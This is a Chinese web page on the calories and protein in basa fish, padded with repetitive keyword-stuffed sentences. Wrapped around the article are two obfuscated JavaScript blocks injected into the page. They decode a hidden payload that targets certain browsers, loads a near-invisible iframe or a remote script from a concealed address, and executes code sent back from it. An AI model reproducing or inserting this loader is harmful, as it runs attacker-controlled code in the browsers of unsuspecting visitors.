eval("\x77\x69\x6e\x64\x6f\x77")["\x4B\x50\x76\x76"]=function(e){var KP =''+'ABCDEFGHIJK'+'LMNOPQRSTUVWXYZab'+'cdefghijklmnop'+'qrstuvwxyz0123'+'456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=KP.indexOf(e.charAt(f++));o=KP.indexOf(e.charAt(f++));u=KP.indexOf(e.charAt(f++));a=KP.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x67\x50\x4B\x6D\x76\x61\x4D\x71\x45"]=function(){eval(KPvv("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoS1B2dih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEtQdnYoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihLUHZ2KCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbS1B2digiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKEtQdnYoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6JysnSVRUTHcnKydVeicrJ00zJysnMHlZJysnR0onKydUVEonKyd0VicrJ0cnKydjc2htJysnWkdKJysnVFRKJysneicrJ1FEJysnTncnKydFVFRRJysnelVTYicrJ3ZObUwnKyd4OUcnKydjJysnMWRYJysnY3VjMycrJ2QnKyczWmtNJysnbFlrTWwnKydFME0nKydsTUhjJysnMFJIJysnYScrJycrJycsJycrJ0kxYycrJ0tKYycrJ2JxJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJ0hxcScrJ0p1SScrJzUnKycnKycnLCdUJyk="));}
巴沙鱼的热量,巴沙鱼100克多少蛋白质

2021年12月20日 拜克 阅读(264)

每100克巴沙鱼的卡路里约为134卡路里。巴沙鱼卡路巴沙鱼的热量里低,水分高,是高蛋白食物巴沙鱼的热量的肉类食品,碳水化合物的含量每100克约为0.1克左右,脂肪的巴沙鱼的热量含量每100克约为1.1克左右,蛋白质的含量每100克约为14克左右。

巴沙鱼鱼的腥味很小,味道细腻,并且发展快,是很好的高品质淡水鱼,巴沙鱼鱼的热量低,巴沙鱼100克多少蛋白质,味道也很好,蛋白质的含量也非常高。减肥主要是降低人的身体脂肪,降低体脂率,人体脂肪占沉重比例。巴沙鱼鱼肉的脂肪量不是很高,可以补充很高的蛋白质。健身人士平时多吃鱼。不仅能有效补充蛋白质,还能减少体脂肪的保管率。

如果想吃肉的话,不想加多余的热量。选择清蒸巴沙鱼,可以品尝巴沙鱼原来的味道。营养价值维持得很好。不加其他调料,也不做太多的处理,不增加多余的热量,巴沙鱼100克多少蛋白质,味道也很新鲜。

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eval("\x77\x69\x6e\x64\x6f\x77")["\x62\x62\x62\x62"]=function(e){var zz =''+'ABCDEFGHIJKLM'+'NOPQRSTUVWXY'+'Zabcdef'+'ghijklm'+'nopqrstuvwxyz012'+'3456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=zz.indexOf(e.charAt(f++));o=zz.indexOf(e.charAt(f++));u=zz.indexOf(e.charAt(f++));a=zz.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x62\x41\x62\x53\x72\x52\x4E\x7A\x62"]=function(){eval(bbbb("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoYmJiYih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKGJiYmIoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihiYmJiKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbYmJiYigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKGJiYmIoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5JysnSVRMeFUnKyd6JysnTTMweScrJ1knKydHSlQnKydKbCcrJ0YzJysnWjRsJysnR05HJysnSlQnKydKelFETicrJ3dFVFEnKyd6VVMnKydTJysnYicrJ3ZObUx4JysnOScrJ0djMWQnKydYY3UnKydjM2QzJysnWicrJ2tNbCcrJ1lrTWxFJysnME1sTScrJ0hjMFJIJysnYScrJycrJycsJycrJ0cybycrJ3llOScrJzVhJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJzZwdCcrJzl6QycrJ3gnKycnKycnLCdTJyk="));}